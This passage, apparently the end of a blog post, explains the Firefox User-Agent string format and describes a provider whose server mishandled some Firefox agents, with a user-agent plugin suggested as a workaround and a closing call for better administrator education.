Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

This can be learned from related explanations of mozilla.org:
Firefox User Agent string

"geckotrail" can be an indication of a version or a date. However - quotation:

On Desktop, geckotrail is the fixed string "20100101"

And when we check the User-Agent-string for Firefox on e.g. a Linux desktop we indeed get:

Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20190110 Firefox/68.0

Both were accepted by the provider's servers with a HTTP status code of 200 - and a complete correct web-page display.

To enable the customer to work with his FF until the provider corrects his server settings we recommended to install a plugin which allows for a manipulation of the User-Agent string. We in addition informed the provider about our findings.

Conclusion

What a mess a provider can produce with improper security measures! The only conclusion I get out of all this is: Security awareness is good. Education of the administrators is even more important. In Norway and everywhere else ...